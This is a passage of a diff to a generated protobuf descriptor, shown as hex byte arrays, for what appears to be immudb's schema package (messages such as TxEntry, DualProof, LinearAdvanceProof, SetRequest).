0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, - 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, 0x65, 0x6e, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, 0x0a, 0x08, - 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, - 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, - 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, 0x4b, 0x56, - 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, - 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, - 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, 0xa1, 0x01, - 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x21, - 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, - 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x09, - 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, - 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, - 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, - 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, - 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, - 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, 0x0e, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6c, - 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x12, - 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, - 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, - 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x92, 0x01, 0x0a, 0x0a, - 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x03, 0x4b, 0x56, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, - 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, - 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, - 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, 0x65, 0x79, 0x4c, 0x69, - 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, - 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, - 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x5e, 0x0a, 0x0a, 0x54, 0x78, 0x4d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x2a, 0x0a, 0x10, 0x68, 0x61, 0x73, 0x54, 0x72, 0x75, 0x6e, + 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x10, 0x68, 0x61, 0x73, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, + 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, + 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x22, 0x63, 0x0a, 0x0b, 0x4c, 0x69, 0x6e, 0x65, 0x61, + 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, + 0x54, 0x78, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x73, 0x6f, 0x75, 0x72, + 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x54, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, + 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x89, 0x01, 0x0a, + 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x6c, + 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x12, + 0x47, 0x0a, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, + 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, + 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x22, 0xc8, 0x03, 0x0a, 0x09, 0x44, 0x75, 0x61, + 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, + 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, + 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, + 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x24, 0x0a, 0x0d, + 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, + 0x6c, 0x68, 0x12, 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, + 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x12, + 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x12, 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x51, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, + 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, + 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, + 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, + 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x12, 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, + 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, + 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, + 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x22, 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, + 0x62, 0x6c, 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, + 0xa1, 0x01, 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, + 0x02, 0x74, 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, + 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, 0x65, 